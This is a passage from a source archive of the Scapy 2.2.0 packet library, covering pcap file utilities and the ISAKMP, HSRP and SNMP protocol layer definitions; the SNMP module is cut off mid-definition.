pkt)) s = (s >> 16) + (s & 0xffff) s += s >> 16 s = ~s return (((s>>8)&0xff)|s<<8) & 0xffff def warning(x): log_runtime.warning(x) def mac2str(mac): return "".join(map(lambda x: chr(int(x,16)), mac.split(":"))) def str2mac(s): return ("%02x:"*6)[:-1] % tuple(map(ord, s)) def strxor(x,y): return "".join(map(lambda x,y:chr(ord(x)^ord(y)),x,y)) # Workarround bug 643005 : https://sourceforge.net/tracker/?func=detail&atid=105470&aid=643005&group_id=5470 try: socket.inet_aton("255.255.255.255") except socket.error: def inet_aton(x): if x == "255.255.255.255": return "\xff"*4 else: return socket.inet_aton(x) else: inet_aton = socket.inet_aton inet_ntoa = socket.inet_ntoa try: inet_ntop = socket.inet_ntop inet_pton = socket.inet_pton except AttributeError: from scapy.pton_ntop import * log_loading.info("inet_ntop/pton functions not found. Python IPv6 support not present") def atol(x): try: ip = inet_aton(x) except socket.error: ip = inet_aton(socket.gethostbyname(x)) return struct.unpack("!I", ip)[0] def ltoa(x): return inet_ntoa(struct.pack("!I", x&0xffffffff)) def itom(x): return (0xffffffff00000000L>>x)&0xffffffffL def do_graph(graph,prog=None,format=None,target=None,type=None,string=None,options=None): """do_graph(graph, prog=conf.prog.dot, format="svg", target="| conf.prog.display", options=None, [string=1]): string: if not None, simply return the graph string graph: GraphViz graph description format: output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" option target: filename or redirect. Defaults pipe to Imagemagick's display program prog: which graphviz program to use options: options to be passed to prog""" if format is None: if WINDOWS: format = "png" # use common format to make sure a viewer is installed else: format = "svg" if string: return graph if type is not None: format=type if prog is None: prog = conf.prog.dot start_viewer=False if target is None: if WINDOWS: tempfile = os.tempnam("", "scapy") + "." + format target = "> %s" % tempfile start_viewer = True else: target = "| %s" % conf.prog.display if format is not None: format = "-T %s" % format w,r = os.popen2("%s %s %s %s" % (prog,options or "", format or "", target)) w.write(graph) w.close() if start_viewer: # Workaround for file not found error: We wait until tempfile is written. waiting_start = time.time() while not os.path.exists(tempfile): time.sleep(0.1) if time.time() - waiting_start > 3: warning("Temporary file '%s' could not be written. Graphic will not be displayed." % tempfile) break else: if conf.prog.display == conf.prog._default: os.startfile(tempfile) else: subprocess.Popen([conf.prog.display, tempfile]) _TEX_TR = { "{":"{\\tt\\char123}", "}":"{\\tt\\char125}", "\\":"{\\tt\\char92}", "^":"\\^{}", "$":"\\$", "#":"\\#", "~":"\\~", "_":"\\_", "&":"\\&", "%":"\\%", "|":"{\\tt\\char124}", "~":"{\\tt\\char126}", "<":"{\\tt\\char60}", ">":"{\\tt\\char62}", } def tex_escape(x): s = "" for c in x: s += _TEX_TR.get(c,c) return s def colgen(*lstcol,**kargs): """Returns a generator that mixes provided quantities forever trans: a function to convert the three arguments into a color. lambda x,y,z:(x,y,z) by default""" if len(lstcol) < 2: lstcol *= 2 trans = kargs.get("trans", lambda x,y,z: (x,y,z)) while 1: for i in range(len(lstcol)): for j in range(len(lstcol)): for k in range(len(lstcol)): if i != j or j != k or k != i: yield trans(lstcol[(i+j)%len(lstcol)],lstcol[(j+k)%len(lstcol)],lstcol[(k+i)%len(lstcol)]) def incremental_label(label="tag%05i", start=0): while True: yield label % start start += 1 ######################### #### Enum management #### ######################### class EnumElement: _value=None def __init__(self, key, value): self._key = key self._value = value def __repr__(self): return "<%s %s[%r]>" % (self.__dict__.get("_name", self.__class__.__name__), self._key, self._value) def __getattr__(self, attr): return getattr(self._value, attr) def __str__(self): return self._key def __eq__(self, other): return self._value == int(other) class Enum_metaclass(type): element_class = EnumElement def __new__(cls, name, bases, dct): rdict={} for k,v in dct.iteritems(): if type(v) is int: v = cls.element_class(k,v) dct[k] = v rdict[v] = k dct["__rdict__"] = rdict return super(Enum_metaclass, cls).__new__(cls, name, bases, dct) def __getitem__(self, attr): return self.__rdict__[attr] def __contains__(self, val): return val in self.__rdict__ def get(self, attr, val=None): return self._rdict__.get(attr, val) def __repr__(self): return "<%s>" % self.__dict__.get("name", self.__name__) ################### ## Object saving ## ################### def export_object(obj): print gzip.zlib.compress(cPickle.dumps(obj,2),9).encode("base64") def import_object(obj=None): if obj is None: obj = sys.stdin.read() return cPickle.loads(gzip.zlib.decompress(obj.strip().decode("base64"))) def save_object(fname, obj): cPickle.dump(obj,gzip.open(fname,"wb")) def load_object(fname): return cPickle.load(gzip.open(fname,"rb")) @conf.commands.register def corrupt_bytes(s, p=0.01, n=None): """Corrupt a given percentage or number of bytes from a string""" s = array.array("B",str(s)) l = len(s) if n is None: n = max(1,int(l*p)) for i in random.sample(xrange(l), n): s[i] = (s[i]+random.randint(1,255))%256 return s.tostring() @conf.commands.register def corrupt_bits(s, p=0.01, n=None): """Flip a given percentage or number of bits from a string""" s = array.array("B",str(s)) l = len(s)*8 if n is None: n = max(1,int(l*p)) for i in random.sample(xrange(l), n): s[i/8] ^= 1 << (i%8) return s.tostring() ############################# ## pcap capture file stuff ## ############################# @conf.commands.register def wrpcap(filename, pkt, *args, **kargs): """Write a list of packets to a pcap file gz: set to 1 to save a gzipped capture linktype: force linktype value endianness: "<" or ">", force endianness""" PcapWriter(filename, *args, **kargs).write(pkt) @conf.commands.register def rdpcap(filename, count=-1): """Read a pcap file and return a packet list count: read only packets""" return PcapReader(filename).read_all(count=count) class RawPcapReader: """A stateful pcap reader. Each packet is returned as a string""" def __init__(self, filename): self.filename = filename try: self.f = gzip.open(filename,"rb") magic = self.f.read(4) except IOError: self.f = open(filename,"rb") magic = self.f.read(4) if magic == "\xa1\xb2\xc3\xd4": #big endian self.endian = ">" elif magic == "\xd4\xc3\xb2\xa1": #little endian self.endian = "<" else: raise Scapy_Exception("Not a pcap capture file (bad magic)") hdr = self.f.read(20) if len(hdr)<20: raise Scapy_Exception("Invalid pcap file (too short)") vermaj,vermin,tz,sig,snaplen,linktype = struct.unpack(self.endian+"HHIIII",hdr) self.linktype = linktype def __iter__(self): return self def next(self): """impliment the iterator protocol on a set of packets in a pcap file""" pkt = self.read_packet() if pkt == None: raise StopIteration return pkt def read_packet(self, size=MTU): """return a single packet read from the file returns None when no more packets are available """ hdr = self.f.read(16) if len(hdr) < 16: return None sec,usec,caplen,wirelen = struct.unpack(self.endian+"IIII", hdr) s = self.f.read(caplen)[:MTU] return s,(sec,usec,wirelen) # caplen = len(s) def dispatch(self, callback): """call the specified callback routine for each packet read This is just a convienience function for the main loop that allows for easy launching of packet processing in a thread. """ for p in self: callback(p) def read_all(self,count=-1): """return a list of all packets in the pcap file """ res=[] while count != 0: count -= 1 p = self.read_packet() if p is None: break res.append(p) return res def recv(self, size=MTU): """ Emulate a socket """ return self.read_packet(size)[0] def fileno(self): return self.f.fileno() def close(self): return self.f.close() class PcapReader(RawPcapReader): def __init__(self, filename): RawPcapReader.__init__(self, filename) try: self.LLcls = conf.l2types[self.linktype] except KeyError: warning("PcapReader: unknown LL type [%i]/[%#x]. Using Raw packets" % (self.linktype,self.linktype)) self.LLcls = conf.raw_layer def read_packet(self, size=MTU): rp = RawPcapReader.read_packet(self,size) if rp is None: return None s,(sec,usec,wirelen) = rp try: p = self.LLcls(s) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise p = conf.raw_layer(s) p.time = sec+0.000001*usec return p def read_all(self,count=-1): res = RawPcapReader.read_all(self, count) import plist return plist.PacketList(res,name = os.path.basename(self.filename)) def recv(self, size=MTU): return self.read_packet(size) class RawPcapWriter: """A stream PCAP writer with more control than wrpcap()""" def __init__(self, filename, linktype=None, gz=False, endianness="", append=False, sync=False): """ linktype: force linktype to a given value. If None, linktype is taken from the first writter packet gz: compress the capture on the fly endianness: force an endianness (little:"<", big:">"). Default is native append: append packets to the capture file instead of truncating it sync: do not bufferize writes to the capture file """ self.linktype = linktype self.header_present = 0 self.append=append self.gz = gz self.endian = endianness self.filename=filename self.sync=sync bufsz=4096 if sync: bufsz=0 self.f = [open,gzip.open][gz](filename,append and "ab" or "wb", gz and 9 or bufsz) def fileno(self): return self.f.fileno() def _write_header(self, pkt): self.header_present=1 if self.append: # Even if prone to race conditions, this seems to be # safest way to tell whether the header is already present # because we have to handle compressed streams that # are not as flexible as basic files g = [open,gzip.open][self.gz](self.filename,"rb") if g.read(16): return self.f.write(struct.pack(self.endian+"IHHIIII", 0xa1b2c3d4L, 2, 4, 0, 0, MTU, self.linktype)) self.f.flush() def write(self, pkt): """accepts a either a single packet or a list of packets to be written to the dumpfile """ if not self.header_present: self._write_header(pkt) if type(pkt) is str: self._write_packet(pkt) else: for p in pkt: self._write_packet(p) def _write_packet(self, packet, sec=None, usec=None, caplen=None, wirelen=None): """writes a single packet to the pcap file """ if caplen is None: caplen = len(packet) if wirelen is None: wirelen = caplen if sec is None or usec is None: t=time.time() it = int(t) if sec is None: sec = it if usec is None: usec = int(round((t-it)*1000000)) self.f.write(struct.pack(self.endian+"IIII", sec, usec, caplen, wirelen)) self.f.write(packet) if self.gz and self.sync: self.f.flush() def flush(self): return self.f.flush() def close(self): return self.f.close() class PcapWriter(RawPcapWriter): def _write_header(self, pkt): if self.linktype == None: if type(pkt) is list or type(pkt) is tuple or isinstance(pkt,BasePacketList): pkt = pkt[0] try: self.linktype = conf.l2types[pkt.__class__] except KeyError: warning("PcapWriter: unknown LL type for %s. Using type 1 (Ethernet)" % pkt.__class__.__name__) self.linktype = 1 RawPcapWriter._write_header(self, pkt) def _write_packet(self, packet): sec = int(packet.time) usec = int(round((packet.time-sec)*1000000)) s = str(packet) caplen = len(s) RawPcapWriter._write_packet(self, s, sec, usec, caplen, caplen) re_extract_hexcap = re.compile("^((0x)?[0-9a-fA-F]{2,}[ :\t]{,3}|) *(([0-9a-fA-F]{2} {,2}){,16})") def import_hexcap(): p = "" try: while 1: l = raw_input().strip() try: p += re_extract_hexcap.match(l).groups()[2] except: warning("Parsing error during hexcap") continue except EOFError: pass p = p.replace(" ","") return p.decode("hex") @conf.commands.register def wireshark(pktlist): """Run wireshark on a list of packets""" f = get_temp_file() wrpcap(f, pktlist) subprocess.Popen([conf.prog.wireshark, "-r", f]) @conf.commands.register def hexedit(x): x = str(x) f = get_temp_file() open(f,"w").write(x) subprocess.call([conf.prog.hexedit, f]) x = open(f).read() os.unlink(f) return x def __make_table(yfmtfunc, fmtfunc, endline, list, fxyz, sortx=None, sorty=None, seplinefunc=None): vx = {} vy = {} vz = {} vxf = {} vyf = {} l = 0 for e in list: xx,yy,zz = map(str, fxyz(e)) l = max(len(yy),l) vx[xx] = max(vx.get(xx,0), len(xx), len(zz)) vy[yy] = None vz[(xx,yy)] = zz vxk = vx.keys() vyk = vy.keys() if sortx: vxk.sort(sortx) else: try: vxk.sort(lambda x,y:int(x)-int(y)) except: try: vxk.sort(lambda x,y: cmp(atol(x),atol(y))) except: vxk.sort() if sorty: vyk.sort(sorty) else: try: vyk.sort(lambda x,y:int(x)-int(y)) except: try: vyk.sort(lambda x,y: cmp(atol(x),atol(y))) except: vyk.sort() if seplinefunc: sepline = seplinefunc(l, map(lambda x:vx[x],vxk)) print sepline fmt = yfmtfunc(l) print fmt % "", for x in vxk: vxf[x] = fmtfunc(vx[x]) print vxf[x] % x, print endline if seplinefunc: print sepline for y in vyk: print fmt % y, for x in vxk: print vxf[x] % vz.get((x,y), "-"), print endline if seplinefunc: print sepline def make_table(*args, **kargs): __make_table(lambda l:"%%-%is" % l, lambda l:"%%-%is" % l, "", *args, **kargs) def make_lined_table(*args, **kargs): __make_table(lambda l:"%%-%is |" % l, lambda l:"%%-%is |" % l, "", seplinefunc=lambda a,x:"+".join(map(lambda y:"-"*(y+2), [a-1]+x+[-2])), *args, **kargs) def make_tex_table(*args, **kargs): __make_table(lambda l: "%s", lambda l: "& %s", "\\\\", seplinefunc=lambda a,x:"\\hline", *args, **kargs) scapy-2.2.0/scapy/layers/0000755000175000017500000000000011532602317013356 5ustar pbipbiscapy-2.2.0/scapy/layers/isakmp.py0000644000175000017500000003357011430356075015230 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ ISAKMP (Internet Security Association and Key Management Protocol). """ import struct from scapy.packet import * from scapy.fields import * from scapy.ansmachine import * from scapy.layers.inet import IP,UDP from scapy.sendrecv import sr # see http://www.iana.org/assignments/ipsec-registry for details ISAKMPAttributeTypes= { "Encryption": (1, { "DES-CBC" : 1, "IDEA-CBC" : 2, "Blowfish-CBC" : 3, "RC5-R16-B64-CBC" : 4, "3DES-CBC" : 5, "CAST-CBC" : 6, "AES-CBC" : 7, "CAMELLIA-CBC" : 8, }, 0), "Hash": (2, { "MD5": 1, "SHA": 2, "Tiger": 3, "SHA2-256": 4, "SHA2-384": 5, "SHA2-512": 6,}, 0), "Authentication":(3, { "PSK": 1, "DSS": 2, "RSA Sig": 3, "RSA Encryption": 4, "RSA Encryption Revised": 5, "ElGamal Encryption": 6, "ElGamal Encryption Revised": 7, "ECDSA Sig": 8, "HybridInitRSA": 64221, "HybridRespRSA": 64222, "HybridInitDSS": 64223, "HybridRespDSS": 64224, "XAUTHInitPreShared": 65001, "XAUTHRespPreShared": 65002, "XAUTHInitDSS": 65003, "XAUTHRespDSS": 65004, "XAUTHInitRSA": 65005, "XAUTHRespRSA": 65006, "XAUTHInitRSAEncryption": 65007, "XAUTHRespRSAEncryption": 65008, "XAUTHInitRSARevisedEncryption": 65009, "XAUTHRespRSARevisedEncryptio": 65010, }, 0), "GroupDesc": (4, { "768MODPgr" : 1, "1024MODPgr" : 2, "EC2Ngr155" : 3, "EC2Ngr185" : 4, "1536MODPgr" : 5, "2048MODPgr" : 14, "3072MODPgr" : 15, "4096MODPgr" : 16, "6144MODPgr" : 17, "8192MODPgr" : 18, }, 0), "GroupType": (5, {"MODP": 1, "ECP": 2, "EC2N": 3}, 0), "GroupPrime": (6, {}, 1), "GroupGenerator1":(7, {}, 1), "GroupGenerator2":(8, {}, 1), "GroupCurveA": (9, {}, 1), "GroupCurveB": (10, {}, 1), "LifeType": (11, {"Seconds": 1, "Kilobytes": 2, }, 0), "LifeDuration": (12, {}, 1), "PRF": (13, {}, 0), "KeyLength": (14, {}, 0), "FieldSize": (15, {}, 0), "GroupOrder": (16, {}, 1), } # the name 'ISAKMPTransformTypes' is actually a misnomer (since the table # holds info for all ISAKMP Attribute types, not just transforms, but we'll # keep it for backwards compatibility... for now at least ISAKMPTransformTypes = ISAKMPAttributeTypes ISAKMPTransformNum = {} for n in ISAKMPTransformTypes: val = ISAKMPTransformTypes[n] tmp = {} for e in val[1]: tmp[val[1][e]] = e ISAKMPTransformNum[val[0]] = (n,tmp, val[2]) del(n) del(e) del(tmp) del(val) class ISAKMPTransformSetField(StrLenField): islist=1 def type2num(self, (typ,val)): type_val,enc_dict,tlv = ISAKMPTransformTypes.get(typ, (typ,{},0)) val = enc_dict.get(val, val) s = "" if (val & ~0xffff): if not tlv: warning("%r should not be TLV but is too big => using TLV encoding" % typ) n = 0 while val: s = chr(val&0xff)+s val >>= 8 n += 1 val = n else: type_val |= 0x8000 return struct.pack("!HH",type_val, val)+s def num2type(self, typ, enc): val = ISAKMPTransformNum.get(typ,(typ,{})) enc = val[1].get(enc,enc) return (val[0],enc) def i2m(self, pkt, i): if i is None: return "" i = map(self.type2num, i) return "".join(i) def m2i(self, pkt, m): # I try to ensure that we don't read off the end of our packet based # on bad length fields we're provided in the packet. There are still # conditions where struct.unpack() may not get enough packet data, but # worst case that should result in broken attributes (which would # be expected). (wam) lst = [] while len(m) >= 4: trans_type, = struct.unpack("!H", m[:2]) is_tlv = not (trans_type & 0x8000) if is_tlv: # We should probably check to make sure the attribute type we # are looking at is allowed to have a TLV format and issue a # warning if we're given an TLV on a basic attribute. value_len, = struct.unpack("!H", m[2:4]) if value_len+4 > len(m): warning("Bad length for ISAKMP tranform type=%#6x" % trans_type) value = m[4:4+value_len] value = reduce(lambda x,y: (x<<8L)|y, struct.unpack("!%s" % ("B"*len(value),), value),0) else: trans_type &= 0x7fff value_len=0 value, = struct.unpack("!H", m[2:4]) m=m[4+value_len:] lst.append(self.num2type(trans_type, value)) if len(m) > 0: warning("Extra bytes after ISAKMP transform dissection [%r]" % m) return lst ISAKMP_payload_type = ["None","SA","Proposal","Transform","KE","ID","CERT","CR","Hash", "SIG","Nonce","Notification","Delete","VendorID"] ISAKMP_exchange_type = ["None","base","identity prot.", "auth only", "aggressive", "info"] class ISAKMP_class(Packet): def guess_payload_class(self, payload): np = self.next_payload if np == 0: return Raw elif np < len(ISAKMP_payload_type): pt = ISAKMP_payload_type[np] return globals().get("ISAKMP_payload_%s" % pt, ISAKMP_payload) else: return ISAKMP_payload class ISAKMP(ISAKMP_class): # rfc2408 name = "ISAKMP" fields_desc = [ StrFixedLenField("init_cookie","",8), StrFixedLenField("resp_cookie","",8), ByteEnumField("next_payload",0,ISAKMP_payload_type), XByteField("version",0x10), ByteEnumField("exch_type",0,ISAKMP_exchange_type), FlagsField("flags",0, 8, ["encryption","commit","auth_only","res3","res4","res5","res6","res7"]), # XXX use a Flag field IntField("id",0), IntField("length",None) ] def guess_payload_class(self, payload): if self.flags & 1: return Raw return ISAKMP_class.guess_payload_class(self, payload) def answers(self, other): if isinstance(other, ISAKMP): if other.init_cookie == self.init_cookie: return 1 return 0 def post_build(self, p, pay): p += pay if self.length is None: p = p[:24]+struct.pack("!I",len(p))+p[28:] return p class ISAKMP_payload_Transform(ISAKMP_class): name = "IKE Transform" fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), # ShortField("len",None), ShortField("length",None), ByteField("num",None), ByteEnumField("id",1,{1:"KEY_IKE"}), ShortField("res2",0), ISAKMPTransformSetField("transforms",None,length_from=lambda x:x.length-8) # XIntField("enc",0x80010005L), # XIntField("hash",0x80020002L), # XIntField("auth",0x80030001L), # XIntField("group",0x80040002L), # XIntField("life_type",0x800b0001L), # XIntField("durationh",0x000c0004L), # XIntField("durationl",0x00007080L), ] def post_build(self, p, pay): if self.length is None: l = len(p) p = p[:2]+chr((l>>8)&0xff)+chr(l&0xff)+p[4:] p += pay return p class ISAKMP_payload_Proposal(ISAKMP_class): name = "IKE proposal" # ISAKMP_payload_type = 0 fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"trans","H", adjust=lambda pkt,x:x+8), ByteField("proposal",1), ByteEnumField("proto",1,{1:"ISAKMP"}), FieldLenField("SPIsize",None,"SPI","B"), ByteField("trans_nb",None), StrLenField("SPI","",length_from=lambda x:x.SPIsize), PacketLenField("trans",Raw(),ISAKMP_payload_Transform,length_from=lambda x:x.length-8), ] class ISAKMP_payload(ISAKMP_class): name = "ISAKMP payload" fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+4), StrLenField("load","",length_from=lambda x:x.length-4), ] class ISAKMP_payload_VendorID(ISAKMP_class): name = "ISAKMP Vendor ID" overload_fields = { ISAKMP: { "next_payload":13 }} fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"vendorID","H", adjust=lambda pkt,x:x+4), StrLenField("vendorID","",length_from=lambda x:x.length-4), ] class ISAKMP_payload_SA(ISAKMP_class): name = "ISAKMP SA" overload_fields = { ISAKMP: { "next_payload":1 }} fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"prop","H", adjust=lambda pkt,x:x+12), IntEnumField("DOI",1,{1:"IPSEC"}), IntEnumField("situation",1,{1:"identity"}), PacketLenField("prop",Raw(),ISAKMP_payload_Proposal,length_from=lambda x:x.length-12), ] class ISAKMP_payload_Nonce(ISAKMP_class): name = "ISAKMP Nonce" overload_fields = { ISAKMP: { "next_payload":10 }} fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+4), StrLenField("load","",length_from=lambda x:x.length-4), ] class ISAKMP_payload_KE(ISAKMP_class): name = "ISAKMP Key Exchange" overload_fields = { ISAKMP: { "next_payload":4 }} fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H", adjust=lambda pkt,x:x+4), StrLenField("load","",length_from=lambda x:x.length-4), ] class ISAKMP_payload_ID(ISAKMP_class): name = "ISAKMP Identification" overload_fields = { ISAKMP: { "next_payload":5 }} fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H",adjust=lambda pkt,x:x+8), ByteEnumField("IDtype",1,{1:"IPv4_addr", 11:"Key"}), ByteEnumField("ProtoID",0,{0:"Unused"}), ShortEnumField("Port",0,{0:"Unused"}), # IPField("IdentData","127.0.0.1"), StrLenField("load","",length_from=lambda x:x.length-8), ] class ISAKMP_payload_Hash(ISAKMP_class): name = "ISAKMP Hash" overload_fields = { ISAKMP: { "next_payload":8 }} fields_desc = [ ByteEnumField("next_payload",None,ISAKMP_payload_type), ByteField("res",0), FieldLenField("length",None,"load","H",adjust=lambda pkt,x:x+4), StrLenField("load","",length_from=lambda x:x.length-4), ] ISAKMP_payload_type_overload = {} for i in range(len(ISAKMP_payload_type)): name = "ISAKMP_payload_%s" % ISAKMP_payload_type[i] if name in globals(): ISAKMP_payload_type_overload[globals()[name]] = {"next_payload":i} del(i) del(name) ISAKMP_class.overload_fields = ISAKMP_payload_type_overload.copy() bind_layers( UDP, ISAKMP, dport=500, sport=500) def ikescan(ip): return sr(IP(dst=ip)/UDP()/ISAKMP(init_cookie=RandString(8), exch_type=2)/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())) scapy-2.2.0/scapy/layers/hsrp.py0000644000175000017500000000200611532572527014713 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ HSRP (Hot Standby Router Protocol): proprietary redundancy protocol for Cisco routers. """ from scapy.fields import * from scapy.packet import * from scapy.layers.inet import UDP class HSRP(Packet): name = "HSRP" fields_desc = [ ByteField("version", 0), ByteEnumField("opcode", 0, { 0:"Hello", 1:"Coup", 2:"Resign", 3:"Advertise"}), ByteEnumField("state", 16, { 0:"Initial", 1:"Learn", 2:"Listen", 4:"Speak", 8:"Standby", 16:"Active"}), ByteField("hellotime", 3), ByteField("holdtime", 10), ByteField("priority", 120), ByteField("group", 1), ByteField("reserved", 0), StrFixedLenField("auth","cisco",8), IPField("virtualIP","192.168.1.1") ] bind_layers( UDP, HSRP, dport=1985, sport=1985) scapy-2.2.0/scapy/layers/snmp.py0000644000175000017500000002124011430356076014711 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ SNMP (Simple Network Management Protocol). """ from scapy.asn1packet import * from scapy.asn1fields import * from scapy.layers.inet import UDP ########## ## SNMP ## ########## ######[ ASN1 class ]###### class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL): name="SNMP" PDU_GET = 0xa0 PDU_NEXT = 0xa1 PDU_RESPONSE = 0xa2 PDU_SET = 0xa3 PDU_TRAPv1 = 0xa4 PDU_BULK = 0xa5 PDU_INFORM = 0xa6 PDU_TRAPv2 = 0xa7 class ASN1_SNMP_PDU_GET(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_GET class ASN1_SNMP_PDU_NEXT(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_NEXT class ASN1_SNMP_PDU_RESPONSE(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_RESPONSE class ASN1_SNMP_PDU_SET(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_SET class ASN1_SNMP_PDU_TRAPv1(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_TRAPv1 class ASN1_SNMP_PDU_BULK(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_BULK class ASN1_SNMP_PDU_INFORM(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_INFORM class ASN1_SNMP_PDU_TRAPv2(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_TRAPv2 ######[ BER codecs ]####### class BERcodec_SNMP_PDU_GET(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_GET class BERcodec_SNMP_PDU_NEXT(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_NEXT class BERcodec_SNMP_PDU_RESPONSE(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_RESPONSE class BERcodec_SNMP_PDU_SET(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_SET class BERcodec_SNMP_PDU_TRAPv1(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_TRAPv1 class BERcodec_SNMP_PDU_BULK(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_BULK class BERcodec_SNMP_PDU_INFORM(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_INFORM class BERcodec_SNMP_PDU_TRAPv2(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_TRAPv2 ######[ ASN1 fields ]###### class ASN1F_SNMP_PDU_GET(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_GET class ASN1F_SNMP_PDU_NEXT(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_NEXT class ASN1F_SNMP_PDU_RESPONSE(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_RESPONSE class ASN1F_SNMP_PDU_SET(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_SET class ASN1F_SNMP_PDU_TRAPv1(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_TRAPv1 class ASN1F_SNMP_PDU_BULK(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_BULK class ASN1F_SNMP_PDU_INFORM(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_INFORM class ASN1F_SNMP_PDU_TRAPv2(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_TRAPv2 ######[ SNMP Packet ]###### SNMP_error = { 0: "no_error", 1: "too_big", 2: "no_such_name", 3: "bad_value", 4: "read_only", 5: "generic_error", 6: "no_access", 7: "wrong_type", 8: "wrong_length", 9: "wrong_encoding", 10: "wrong_value", 11: "no_creation", 12: "inconsistent_value", 13: "ressource_unavailable", 14: "commit_failed", 15: "undo_failed", 16: "authorization_error", 17: "not_writable", 18: "inconsistent_name", } SNMP_trap_types = { 0: "cold_start", 1: "warm_start", 2: "link_down", 3: "link_up", 4: "auth_failure", 5: "egp_neigh_loss", 6: "enterprise_specific", } class SNMPvarbind(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("oid","1.3"), ASN1F_field("value",ASN1_NULL(0)) ) class SNMPget(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_GET( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPnext(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_NEXT( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPresponse(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_RESPONSE( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPset(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_SET( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPtrapv1(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_TRAPv1( ASN1F_OID("enterprise", "1.3"), ASN1F_IPADDRESS("agent_addr","0.0.0.0"), ASN1F_enum_INTEGER("generic_trap", 0, SNMP_trap_types), ASN1F_INTEGER("specific_trap", 0), ASN1F_TIME_TICKS("time_stamp", IntAutoTime()), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPbulk(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_BULK( ASN1F_INTEGER("id",0), ASN1F_INTEGER("non_repeaters",0), ASN1F_INTEGER("max_repetitions",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPinform(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_INFORM( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPtrapv2(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_TRAPv2( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", 